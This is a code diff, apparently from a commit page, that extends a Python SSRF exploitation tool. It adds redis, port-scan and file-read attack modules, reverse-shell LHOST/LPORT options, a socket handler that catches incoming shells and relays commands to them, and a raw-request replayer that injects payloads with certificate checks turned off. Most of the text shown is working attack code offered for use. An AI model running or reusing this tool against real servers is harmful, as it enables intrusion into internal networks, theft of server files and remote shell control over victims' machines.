1
1
from banner .banner import banner
2
+ import urllib .parse
3
+ import urllib3
2
4
import regex
3
5
import argparse
4
6
import requests
5
7
import time
6
8
import os
7
9
import threading
8
10
import random
11
+ import logging
12
+ import re
13
+ import json
14
+ import socket
9
15
10
16
execPath = os .getcwd ()
11
17
currentPath = os .path .dirname (__file__ )
16
22
LOCK = threading .Lock ()
17
23
18
24
banner ()
19
- parser = argparse .ArgumentParser ()
25
+
26
+ example_text = '''Example:
27
+ python3 ssrf-exploit.py -u https://example.com/
28
+ python3 ssrf-exploit.py -u https://example.com/ -m redis
29
+ python3 ssrf-exploit.py -u https://example.com/ -m portscan
30
+ python3 ssrf-exploit.py -u https://example.com/ -m readfiles --rfile
31
+ python3 ssrf-exploit.py -u https://example.com/ -m portscan --ssl --uagent "SSRFexploitAgent"
32
+ python3 ssrf-exploit.py -u https://example.com/ -m redis --lhost=127.0.0.1 --lport=8080 -l 8080
33
+
34
+ '''
35
+ parser = argparse .ArgumentParser (epilog = example_text , formatter_class = argparse .RawDescriptionHelpFormatter )
20
36
parser .add_argument ("--file" , "-f" , type = str , required = False , help = 'file of all URLs to be tested against SSRF' )
21
37
parser .add_argument ("--url" , "-u" , type = str , required = False , help = 'url to be tested against SSRF' )
22
38
parser .add_argument ("--threads" , "-n" , type = int , required = False , help = 'number of threads for the tool' )
23
39
parser .add_argument ("--output" , "-o" , type = str , required = False , help = 'output file path' )
40
+ parser .add_argument ("--moudle" , "-m" , action = "store" , dest = "moudles" , help = "SSRF Moudles to enable" )
41
+ parser .add_argument ("--handler" , "-l" , action = "store" , dest = "handler" , help = "Start an handler for a reverse shell" )
24
42
parser .add_argument ("--oneshot" , "-t" , action = 'store_true' , help = 'fuzz with only one basic payload - to be activated in case of time constraints' )
25
- parser .add_argument ("--verbose" , "-v" , action = 'store_true' , help = 'activate verbose mode' )
43
+ parser .add_argument ("--rfiles" , "-r" , action = "store" , dest = "targetfiles" , help = "Files to read with readfiles moudle" )
44
+ parser .add_argument ("--verbose" , "-v" , action = 'store_true' , help = 'activate verbose mode' )
45
+ parser .add_argument ("--lhost" , action = "store" , dest = "lhost" , help = "LHOST reverse shell" )
46
+ parser .add_argument ("--lport" , action = "store" , dest = "lport" , help = "LPORT reverse shell" )
47
+ parser .add_argument ("--ssl" , action = 'store' , dest = 'ssl' , help = "Use HTTPS without verification" , )
48
+ parser .add_argument ("--proxy" , action = 'store' , dest = 'proxy' , help = "Use HTTP(s) proxy (ex: http://localhost:8080)" )
49
+ parser .add_argument ("--level" , action = 'store' , dest = 'level' , help = "Level of test to perform (1-5, default: 1)" , default = 1 , type = int )
50
+ parser .add_argument ("--uagent" , action = "store" , dest = "useragent" , help = "useragent to use" )
26
51
27
52
28
53
args = parser .parse_args ()
51
76
52
77
extractInteractionServerURL = "(?<=] )([a-z0-9][a-z0-9][a-z0-9].*)"
53
78
79
+ class Handler (threading .Thread ):
80
+
81
+ def __init__ (self , port ):
82
+ threading .Thread .__init__ (self )
83
+ logging .info (f"Handler listening on 0.0.0.0:{ port } " )
84
+ self .connected = False
85
+ self .port = int (port )
86
+
87
+ def run (self ):
88
+ self .socket = socket .socket (socket .AF_INET , socket .SOCK_STREAM )
89
+ self .socket .bind (('' , self .port ))
90
+
91
+ while True :
92
+ self .socket .listen (5 )
93
+ self .client , address = self .socket .accept ()
94
+ print (f"Handler> New session from { address [0 ]} " )
95
+ self .connected = True
96
+
97
+ response = self .client .recv (255 )
98
+ while response != b"" :
99
+ print (f"\n { response .decode ('utf_8' , 'ignore' ).strip ()} \n Shell > $ " , end = '' )
100
+ response = self .client .recv (255 )
101
+
102
+ def listen_command (self ):
103
+ if self .connected == True :
104
+ cmd = input ("Shell> $ " )
105
+ if cmd == "exit" :
106
+ self .kill ()
107
+ print ("BYE !" )
108
+ exit ()
109
+ self .send_command (cmd + "\n \n " )
110
+
111
+ def send_command (self , cmd ):
112
+ self .client .sendall (cmd .encode ())
113
+
114
+ def kill (self ):
115
+ self .client .close ()
116
+ self .socket .close ()
117
+
118
+
119
+ class Requester (object ):
120
+ protocol = "http"
121
+ host = ""
122
+ method = ""
123
+ action = ""
124
+ headers = {}
125
+ data = {}
126
+
127
+ def __init__ (self , path , uagent , ssl , proxies ):
128
+ try :
129
+ # Read file request
130
+ with open (path , 'r' ) as f :
131
+ content = f .read ().strip ()
132
+ except IOError as e :
133
+ logging .error ("File not found" )
134
+ exit ()
135
+
136
+ try :
137
+ content = content .split ('\n ' )
138
+ # Parse method and action URI
139
+ regex = re .compile ('(.*) (.*) HTTP' )
140
+ self .method , self .action = regex .findall (content [0 ])[0 ]
141
+
142
+ # Parse headers
143
+ for header in content [1 :]:
144
+ name , _ , value = header .partition (': ' )
145
+ if not name or not value :
146
+ continue
147
+ self .headers [name ] = value
148
+ self .host = self .headers ['Host' ]
149
+
150
+ # Parse user-agent
151
+ if uagent != None :
152
+ self .headers ['User-Agent' ] = uagent
153
+
154
+ # Parse data
155
+ self .data_to_dict (content [- 1 ])
156
+
157
+ # Handling HTTPS requests
158
+ if ssl == True :
159
+ self .protocol = "https"
160
+
161
+ self .proxies = proxies
162
+
163
+ except Exception as e :
164
+ logging .warning ("Bad Format or Raw data !" )
165
+
166
+
167
+ def data_to_dict (self , data ):
168
+ if self .method == "POST" :
169
+
170
+ # Handle JSON data
171
+ if self .headers ['Content-Type' ] and "application/json" in self .headers ['Content-Type' ]:
172
+ self .data = json .loads (data )
173
+
174
+ # Handle XML data
175
+ elif self .headers ['Content-Type' ] and "application/xml" in self .headers ['Content-Type' ]:
176
+ self .data ['__xml__' ] = data
177
+
178
+ # Handle FORM data
179
+ else :
180
+ for arg in data .split ("&" ):
181
+ regex = re .compile ('(.*)=(.*)' )
182
+ for name ,value in regex .findall (arg ):
183
+ name = urllib .parse .unquote (name )
184
+ value = urllib .parse .unquote (value )
185
+ self .data [name ] = value
186
+
187
+
188
+ def do_request (self , param , value , timeout = 3 , stream = False ):
189
+ try :
190
+ if self .method == "POST" :
191
+ # Copying data to avoid multiple variables edit
192
+ data_injected = self .data .copy ()
193
+
194
+ if param in str (data_injected ): # Fix for issue/10 : str(data_injected)
195
+ data_injected [param ] = value
196
+
197
+ # Handle JSON data
198
+ if self .headers ['Content-Type' ] and "application/json" in self .headers ['Content-Type' ]:
199
+ r = requests .post (
200
+ self .protocol + "://" + self .host + self .action ,
201
+ headers = self .headers ,
202
+ json = data_injected ,
203
+ timeout = timeout ,
204
+ stream = stream ,
205
+ verify = False ,
206
+ proxies = self .proxies
207
+ )
208
+
209
+ # Handle FORM data
210
+ else :
211
+ if param == '' : data_injected = value
212
+ r = requests .post (
213
+ self .protocol + "://" + self .host + self .action ,
214
+ headers = self .headers ,
215
+ data = data_injected ,
216
+ timeout = timeout ,
217
+ stream = stream ,
218
+ verify = False ,
219
+ proxies = self .proxies
220
+ )
221
+ else :
222
+ if self .headers ['Content-Type' ] and "application/xml" in self .headers ['Content-Type' ]:
223
+ if "*FUZZ*" in data_injected ['__xml__' ]:
224
+
225
+ # replace the injection point with the payload
226
+ data_xml = data_injected ['__xml__' ]
227
+ data_xml = data_xml .replace ('*FUZZ*' , value )
228
+
229
+ r = requests .post (
230
+ self .protocol + "://" + self .host + self .action ,
231
+ headers = self .headers ,
232
+ data = data_xml ,
233
+ timeout = timeout ,
234
+ stream = stream ,
235
+ verify = False ,
236
+ proxies = self .proxies
237
+ )
238
+
239
+ else :
240
+ logging .error ("No injection point found ! (use -p)" )
241
+ exit (1 )
242
+ else :
243
+ logging .error ("No injection point found ! (use -p)" )
244
+ exit (1 )
245
+ else :
246
+ # String is immutable, we don't have to do a "forced" copy
247
+ regex = re .compile (param + "=([^&]+)" )
248
+ value = urllib .parse .quote (value , safe = '' )
249
+ data_injected = re .sub (regex , param + '=' + value , self .action )
250
+ r = requests .get (
251
+ self .protocol + "://" + self .host + data_injected ,
252
+ headers = self .headers ,
253
+ timeout = timeout ,
254
+ stream = stream ,
255
+ verify = False ,
256
+ proxies = self .proxies
257
+ )
258
+ except Exception as e :
259
+ logging .error (e )
260
+ return None
261
+ return r
262
+
263
+ def __str__ (self ):
264
+ text = self .method + " "
265
+ text += self .action + " HTTP/1.1\n "
266
+ for header in self .headers :
267
+ text += header + ": " + self .headers [header ] + "\n "
268
+
269
+ text += "\n \n "
270
+ for data in self .data :
271
+ text += data + "=" + self .data [data ] + "&"
272
+ return text [:- 1 ]
273
+
54
274
def getFileSize (fileID ):
55
275
interactionLogs = open (f"output/threadsLogs/interaction-logs{ fileID } .txt" , "r" )
56
276
return len (interactionLogs .read ())
@@ -237,7 +457,21 @@ def main():
237
457
for thread in workingThreads :
238
458
thread .join ()
239
459
outputFile .close ()
460
+
240
461
241
462
242
463
if __name__ == '__main__' :
243
- main ()
464
+ main ()
465
+ urllib3 .disable_warnings (urllib3 .exceptions .InsecureRequestWarning )
466
+
467
+ logging .basicConfig (
468
+ level = logging .INFO ,
469
+ format = "[%(levelname)s]:%(message)s" ,
470
+ handlers = [
471
+ logging .FileHandler ("ssrf-exploit.log" , mode = 'w' ),
472
+ logging .StreamHandler ()
473
+ ]
474
+ )
475
+
476
+ logging .addLevelName ( logging .WARNING , "\033 [1;31m%s\033 [1;0m" % logging .getLevelName (logging .WARNING ))
477
+ logging .addLevelName ( logging .ERROR , "\033 [1;41m%s\033 [1;0m" % logging .getLevelName (logging .ERROR ))
0 commit comments